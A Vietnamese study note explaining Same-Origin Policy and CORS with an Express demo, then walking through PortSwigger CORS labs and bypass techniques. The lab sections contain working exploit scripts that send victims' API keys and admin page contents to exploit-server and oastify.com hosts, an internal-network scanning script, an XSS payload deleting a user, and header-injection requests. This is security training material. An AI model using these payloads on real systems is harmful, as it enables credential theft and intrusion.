# SOP và CORS ## SOP **Same-origin policy (SOP)** là một cơ chế bảo mật được triển khai trong web browser, nó kiểm soát và **ngăn chặn** việc các scripts truy cập dữ liệu, tài nguyên từ nguồn khác. **SOP** dựa vào **URI** để thực hiện việc ngăn chặn **URI** thường có cấu trúc sau: ``` http://normal-website.com/example/example.html ``` Trong đó: - Scheme: `http` - Domain: `normal-website.com` - Port: `80` - Path: `/example/example.html` Ngoài ra có thể có `username:password` , `subdomain`, `query`, `fragment`. **SOP** sẽ cho phép truy cập tài nguyên khi đồng thời có cùng **scheme**, **domain** và **port** (gọi là **same-origin**) Ngược lại nó sẽ ngăn chặn truy cập tài nguyên từ các URI khác **scheme**, **port hoặc domain (cross-origin).** ![](https://hackmd.io/_uploads/HJxEcdH-p.png) Việc sử dụng **SOP** là cần thiết bởi vì khi gửi request HTTP nó sẽ bao gồm nhiều thông tin quan trong như cookies, sessions,… Và nếu nó được đưa đến web chứa mã độc, kẻ tấn công có thể lấy các thông tin đó cũng như thực hiện các cuộc tấn công đó. >Ở đây không có nghĩa là không thực hiện được request tới các **cross-domain** mà là có thực hiện được và gửi đến server tuy nhiên kết quả trả về từ response sẽ bị trình duyệt chặn lại. ### SOP được thực hiện như thế nào? **SOP** sẽ hạn chế được các hành vi: - Đọc **Cookie**, **LocalStorage** và **IndexedDB.** - Truy cập vào **DOM**. - Request **AJAX** (XMLHttpRequest, fetch). <!-- Một số ngoại lệ với **SOP**: - Một số đối tượng có thể ghi dữ liệu nhưng không thể đọc dữ liệu từ các cross-domain, chẳng hạn như đối tượng **`location`** hoặc thuộc tính **`location.href`** của iframe. - Một số đối tượng có thể đọc dữ liệu nhưng không thể ghi dữ liệu từ các cross-domain, chẳng hạn như thuộc tính **`length`** của đối tượng **`window`** - Hàm **`replace`** có thể được gọi từ các cross-domain trên đối tượng **`location`**. - Một số hàm có thể được gọi từ các cross-domain. Ví dụ, bạn có thể gọi các hàm **`close`**, **`blur`**, và **`focus`** trên một cửa sổ mới. Hàm **`postMessage`** cũng có thể được gọi trên iframe để gửi messages từ cross-domain. --> Mặc dù **SOP** không nghiêm ngặt trong cookies như việc nó có thể truyền qua các subdomain, và để giảm thiểu rủi ro thì có thể dùng tính năng `HttpOnly`. ## CORS Trong thực tế, web cần tương tác, lấy dữ liệu từ các subdomains hay bên thứ 3, và để nới lỏng **SOP** thì ta cần tới **CORS**. **CORS (Cross-Origin Resource Sharing)** là một tính năng mới được tích hợp trong **HTML5**, thêm vào các **HTTP headers** chỉ dẫn cho web browser về sử dụng tương tác với tài nguyên từ **cross-domain**. Như vậy, trái với việc **ngăn chặn** của **SOP** thì nó là một cơ chế mở rộng cho phép server cấu hình để cho phép truy cập từ **cross-domain** một cách kiểm soát và an toàn và nó giúp giải quyết một số hạn chế của **SOP** khi cần truy cập tài nguyên khác. Request sẽ luôn xuất hiện header **Origin** để xác định nơi gửi request và khi server nhận nó sẽ kiểm tra để xác định việc cho phép truy cập tài nguyên hay không (và tất nhiên cũng cần một số điều kiện khác). **CORS** thường được cấu hình để sử dụng trong các request sau: - <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> hoặc <a href="https://developer.mozilla.org/en-US/docs/Web/API/fetch">fetch()</a>. - <a href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">Web Fonts</a> (sử dụng `@fontface`) - [WebGL textures](https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL) - Images/video tạo bởi [drawImage()](https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage). - [CSS Shapes from images](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_shapes/Shapes_from_images). Liên quan về CORS thì có 2 loại requests: - **Simple request** - **Request preflight** ### Simple request Simple request là request có: - 1 trong các method: GET, POST, HEAD. - Ngoài việc sử dụng các header tự động set như `Connection`, `User-Agent`,.. thì được sử dụng các header set thủ công như như `Accept`, `Accept-Language`, `Content-Language`, `Content-Type` - nhưng giá trị `Content-Type` phải thuộc danh sách các giá trị được cho phép cho phép simple request là: - `application/x-www-form-urlencoded` - `multipart/form-data` - `text/plain` - Không sử dụng đối tượng [ReadableStream](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream) trong request. Và server có thể trả về một số header (tùy thuộc vào cấu hình server): - **Access-Control-Allow-Origin:** giá trị mà nó cho phép truy cập dữ liệu. Có thể là địa chỉ hoặc là `*` cho tất cả origin. - **Access-Control-Allow-Credentials:** chỉ định xem liệu browser được phép gửi các thông tin xác thực (như cookie,..) trong request CORS hay không. Nếu server cho phép thì cần đặt giá trị là **true**, và browser sẽ gửi nó. <!-- - **Access-Control-Max-Age:** xác định thời gian (giây) mà kết quả trả về từ **preflighted request** (request với method **OPTIONS**) được lưu trong cache của browser. --> ### Request preflight Đây là request với method **OPTIONS** chứa các thông tin như **Access-Control-Request-Headers** và **Access-Control-Request-Method** để kiểm tra xem browser có quyền truy cập tài nguyên từ server không **trước khi** thực hiện thực request chính. ![](https://hackmd.io/_uploads/HJBLjnSZa.png) Response trả về sẽ có một số header như: - **Access-Control-Allow-Methods**: chứa method được phép truy cập tài nguyên. - **Access-Control-Allow-Headers**: chứa các header được phép trong request. ![](https://hackmd.io/_uploads/BkfuF2SbT.png) **Preflighted requests** giúp đảm bảo tính bảo mật và an toàn khi giao tiếp giữa các nguồn tài nguyên khác nhau. ## Demo Source: https://github.com/caodchuong312/cors-demo - **Client** có địa chỉ là: http://127.0.0.1:5500 - **Server** (NodeJS - Express) có địa chỉ: http://127.0.0.1:3000 Server dùng package [cors](https://www.npmjs.com/package/cors) để config cấu hình **CORS** để bảo vệ việc lấy dữ liệu từ client. ### origin Cái này là cấu hình cho header **`Access-Control-Allow-Origin`**. - Server: ![](https://hackmd.io/_uploads/B1hMN78Zp.png) **`origin`** sẽ chỉ định địa chỉ được phép fetch dữ liệu, nếu nó là **`*`** nghĩa là cho phép tất cả origin. - Client: ![](https://hackmd.io/_uploads/SkBxVXUWp.png) Kết quả `console log`: ![](https://hackmd.io/_uploads/ByITEXI-6.png) Trong tab `network`: ![](https://hackmd.io/_uploads/Bky6UX8WT.png) ![](https://hackmd.io/_uploads/H19BF7Ibp.png) Nếu **`origin`** là giá trị khác ví dụ như `http://127.0.0.1:1337` sẽ báo lỗi: ![](https://hackmd.io/_uploads/By1y_QU-6.png) ![](https://hackmd.io/_uploads/BJVxuQU-6.png) ### allowedHeaders Cái này là cấu hình header **`Access-Control-Allow-Headers`** - chỉ cho phép 1 số header chỉ định (ngoài các header mặc định). - Server: cấu hình cho phép header `Content-Type` và `Authorization`: ![](https://hackmd.io/_uploads/r1ikPrUZ6.png) - Client: ![](https://hackmd.io/_uploads/rkAgDHLb6.png) Kết quả: ![](https://hackmd.io/_uploads/rydXwHIZa.png) Và khi đó cũng có thêm **preflight request**: ![](https://hackmd.io/_uploads/H1R1Or8bp.png) ![](https://hackmd.io/_uploads/Sk7Q_rLW6.png) Và nếu không cho phép header `Authorization` ![](https://hackmd.io/_uploads/Hy4LdHUZp.png) Thì sẽ báo lỗi: ![](https://hackmd.io/_uploads/r11YuH8ba.png) ### methods Cấu hình mặc định là `GET,HEAD,PUT,PATCH,POST,DELETE`. - Server: Ta set cho data tại `PUT`, nhưng không cho phép `PUT` ![](https://hackmd.io/_uploads/rJRiG88Z6.png) - Client ![](https://hackmd.io/_uploads/ryAz7U8W6.png) Kết quả: ![](https://hackmd.io/_uploads/S11S7LIW6.png) ![](https://hackmd.io/_uploads/H1N8XLIba.png) ![](https://hackmd.io/_uploads/BkmFmULbp.png) ### credentials Cái này cấu hình cho header **`Access-Control-Allow-Credentials`** - cho phép gửi các thông tin `credentials` không như cookies,... - Server: ![](https://hackmd.io/_uploads/SyctXPLbT.png) - Client: ![](https://hackmd.io/_uploads/Hyri7wIZ6.png) Kết quả: ![](https://hackmd.io/_uploads/H1SB4wIZa.png) Khi server không cho phép sẽ xảy ra lỗi: ![](https://hackmd.io/_uploads/Hyev-VvLZp.png) Ngoài ra còn có một số options như: - `exposedHeaders` (header **`Access-Control-Expose-Header`**) - `maxAge` (header **`Access-Control-Max-Age`**) ... Tham khảo thêm: https://www.npmjs.com/package/cors ## Refs - https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS - https://www.youtube.com/watch?v=PNtFSVU-YTI - https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch - https://viblo.asia/p/cors-la-gi-Qbq5Q0j3lD8 - https://portswigger.net/web-security/cors # Khai thác cấu hình sai của CORS ## PortSwigger Lab - [Vulnerabilities arising from CORS configuration issues](https://portswigger.net/web-security/cors#vulnerabilities-arising-from-cors-configuration-issues) - [Exploiting CORS misconfigurations for Bitcoins and bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) ### 1. Lab: CORS vulnerability with basic origin reflection - [Link lab](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack) Một số web sẽ lấy giá trị của header `Origin` trong request set giá trị header `Access-Control-Allow-Origin` ở response và cho phép nó lấy dữ liệu. Mục tiêu bài này là lấy `API key`, sau khi login vào `wiener:peter`: ![](https://hackmd.io/_uploads/SJs_3iIb6.png) `API key` được lấy như này: ![](https://hackmd.io/_uploads/BkTM6o8-6.png) Khi thêm header `Origin` và kết quả: ![](https://hackmd.io/_uploads/HJLcToIba.png) Khai thác bằng script xử dụng `XMLHttpRequest` ``` <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> ``` Kết quả: ![](https://hackmd.io/_uploads/S1HjmhUba.png) ### 2. Lab: CORS vulnerability with trusted null origin Lỗ hỗng này liên quan đến việc parsing giá trị header **`Origin`**. - Khi nhận request về CORS nhiều web sử dụng whitelist để xem origin đó có nằm trong không. Tuy nhiên nhiều ứng dụng web cho phép truy cập các subdomains của chúng. Nó theo quy tắc kiểm tra prefix, subffix hoặc regex của URL. Điều đó có thể dẫn đến sai sót trong quá trình kiểm tra. Ví dụ như: ``` normal-website.com hackersnormal-website.com normal-website.com.evil-user.net ``` - Trình duyệt có thể gửi giá trị `null` của header `Origin`. Và một vài ứng dụng web có thể đưa `null` vào whitelist. Và để khai thác tiếp điều này ta dựa vào `XHR` request được tạo bởi `<iframe>` với attr `sandbox`. Nói thêm về cái này ở đây: https://stackoverflow.com/questions/44764338/origin-header-null-for-xhr-request-made-from-iframe-with-sandbox-attribute >Khi không sử dụng `sandbox` thì `iframe` và web sẽ tuân theo SOP. >Và khi có attr `sandbox` của `iframe` nhưng nó không chứa giá trị `allow-same-origin` thì browser sẽ cho nó 1 "unique" origin (nó làm vậy bởi lẽ không muốn cho iframe tương tác với web vì SOP). Và khi xác minh được giá trị header `Origin` trong cross-domain request, browser serialize nó thành `null` @@. [Link lab](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack) Tương tự với lab trước nhưng ở đây `Origin` là `null`: ![](https://hackmd.io/_uploads/SyTIQevW6.png) Giờ tạo script khai thác: ``` <iframe sandbox="allow-scripts" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script>"></iframe> ``` Kết quả: ![](https://hackmd.io/_uploads/r1a1HlPZ6.png) ### 3. Lab: CORS vulnerability with trusted insecure protocols Nếu server cho từ 1 web khác như subdomains,... truy cập dữ liệu mà nếu web đó bị lỗ hỗng XSS thì cũng có thể truy xuất các thông tin nhạy cả từ bên webserver. Khi đó có thể lợi dụng web có chức năng redirect để thực thi tấn công. [Link lab](https://portswigger.net/web-security/cors/lab-breaking-https-attack) Vào check stock biết được subdomain của nó là `stock`: ![](https://hackmd.io/_uploads/S1GCOZv-6.png) Và nó được được server chấp nhận: ![](https://hackmd.io/_uploads/B1ZzKWD-p.png) Và ở subdomain này tồn tại XSS tại param `productId`: ![](https://hackmd.io/_uploads/BJTq2WD-6.png) Giờ tạo script như các bài trước: ``` <script> document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> ``` Để tránh lỗi en/decode thì có thể encode hết payload XSS: ![](https://hackmd.io/_uploads/S1xVGGPZ6.png) Rồi đưa vào như này: ![](https://hackmd.io/_uploads/rkddfzDWT.png) Kết quả: ![](https://hackmd.io/_uploads/r18GZMwZ6.png) ### 4. Lab: CORS vulnerability with internal network pivot attack Hầu như các web thường được cấu hình CORS: ``` Access-Control-Allow-Credentials: true ``` Để tránh việc truyền các thông tin nhạy cảm. Tuy nhiên ở các mạng nội bộ hay private IP thì mức độ bảo mật sẽ được áp dựng thấp hơn, điều đó có thể dẫn đến việc tìm ra các lỗ hổng và khai thac nó. Ví dụ: ``` GET /reader?url=doc1.pdf Host: intranet.normal-website.com Origin: https://normal-website.com ``` Response: ``` HTTP/1.1 200 OK Access-Control-Allow-Origin: * ``` Vậy nếu người dùng trong private IP truy cập internet public thì một cuộc tấn công dựa trên CORS có thể được thực hiện từ trang web bên ngoài sử dụng browser của nạn nhân làm proxy để truy cập tài nguyên nội bộ. [Link lab](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) ![](https://hackmd.io/_uploads/Hk_xWtPZT.png) Host tấn công sẽ nằm trong dải IP `192.168.0.1` -> `192.168.0.254` với port `8080` #### Bước 1: Scan ip ``` <script> collaboratorURL ="https://pvoe46r5tv93p0j86pqegoivym4fs6mub.oastify.com" for(let i=0; i<256; i++){ fetch("http://192.168.0."+i+":8080") .then(r => r.text()) .then(j => { fetch(collaboratorURL+ "?ip=http://192.168.0."+i+"&html="+ encodeURIComponent(j)) }) } </script> ``` Gửi cho victim và kết quả: ![](https://hackmd.io/_uploads/rJ6nd1dZT.png) Vậy ip ở đây là `192.168.0.165:8080`. Decode đoạn kia được: ![](https://hackmd.io/_uploads/HkAzKJOZa.png) #### Bước 2: Tìm lỗ hổng XSS Lỗ hổng nằm ở `username` trong `/login`: ![](https://hackmd.io/_uploads/BJ9LK1_-a.png) #### Bước 3: Khai thác Lợi dụng XSS tại `/login` lấy content `/admin` gửi đến `Burp Collaborator`: ``` <script> var url = "http://192.168.0.165:8080"; var xssPayload = `"><iframe src=/admin onload="navigator.sendBeacon('http://ozrd85v4xud2tzn7aoudknmu2l8ew5rtg.oastify.com', this.contentWindow.document.body.innerHTML)">`; fetch(url) .then(r => r.text()) .then(text => { location = url + '/login?username='+encodeURIComponent(xssPayload)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; }) </script> ``` Kết quả: ![](https://hackmd.io/_uploads/SyOD9yOb6.png) Dựa vào trên để xóa user `carlos`: ``` <script> var url = "http://192.168.0.165:8080"; var xssPayload = `"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">`; fetch(url) .then(r => r.text()) .then(text => { location = url + '/login?username='+encodeURIComponent(xssPayload)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; }) </script> ``` Kết quả: ![](https://hackmd.io/_uploads/Syg1o1uW6.png) ## Một vài kỹ thuật khác ### Regexp bypasses Một số web cấu hình CORS để truy cập dữ liệu từ subdomain với domain `victim.com`, hãy kiểm tra `victim.com.attacker.com`, `victim.comattacker`, `attacker.victim.com` hoặc `attackervictim.com` vì có thể regex dùng chưa đúng. - **Advanced CORS Technique** Hầu hết regex được sử dụng để xác định domain và nó sẽ tập trung vào các ký tự chữ và số ASCII và `.-`. Khi browser truy cập đến address, trước khi tạo request các browsers thường kiểm tra xem address đó có hợp lệ hay không, có chứa ký tự không được phép không. Tuy nhiên việc thì các browsers sẽ có nguyên tắc khác nhau để cho phép/từ chối ký tự: ![](https://hackmd.io/_uploads/rkR3LHdbT.png) Nhìn vào dễ thầy `_` được phép trên hầu như các browsers phổ biến trên và Safari cho phép hết các ký tự trên (không chỉ vậy mà còn các ký tự non-printable). Ví dụ: trường hợp này server chấp nhận từ origin `victimdomain.com_.attacker.com` Khi đó chỉ việc setup domain `atttack.com` với **wildcard DNS record** cho phép toàn bộ subdomain trỏ tới `wwww.attack.com` và thực hiện tấn công. Refs: - https://corben.io/blog/18-6-16-advanced-cors-techniques#exploitation - https://infosecwriteups.com/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397 ### Client-Side cache poisoning Kỹ thuật này thực hiện qua `reflected XSS` từ custom header vì payload có thể reflect trong response mà không có sự encode nào. Với CORS có thể gửi request với giá trị header tuy ý, việc đó là vô ích vì response chứa JS chèn vào header và không được render ra. Tuy nhiên với header `Vary: Origin` không xuất hiện thì nghĩa là response đó lấy từ trong cache ra >`Vary` là header chứa tên các header khác mà nó làm ảnh hưởng đến response như `Origin`, `Accept-Language`,... ### Server-side cache poisoning Kỹ thuật là **HTTP header injection** - Request: ``` GET / HTTP/1.1 Origin: z[0x0d]Content-Type: text/html; charset=UTF-7 ``` - Response: ``` HTTP/1.1 200 OK Access-Control-Allow-Origin: z Content-Type: text/html; charset=UTF-7 ``` Điều này không thể khai thác trực tiếp vì kẻ tấn công không có cách nào khiến browser của ai đó gửi header như vậy,tuy nhiên có thể tạo request này theo cách thủ công và response được lưu lại trong cache . Payload đã sử dụng sẽ thay đổi bộ ký tự của trang thành `UTF-7`, vốn nổi tiếng là hữu ích để tạo các lỗ hổng XSS. ### Refs - https://book.hacktricks.xyz/pentesting-web/cors-bypass#exploitable-misconfigurations - https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties - https://www.freecodecamp.org/news/exploiting-cors-guide-to-pentesting/#impact-of-cors-misconfigurations - https://hackerone.com/reports/168574 - https://hackerone.com/reports/761726 - https://corben.io/blog/17-11-27-tricky-CORS - 1 số tools: [CORScanner](https://github.com/chenjj/CORScanner), [theftfuzzer](https://github.com/lc/theftfuzzer), [Burp Scanner](https://portswigger.net/burp/vulnerability-scanner),...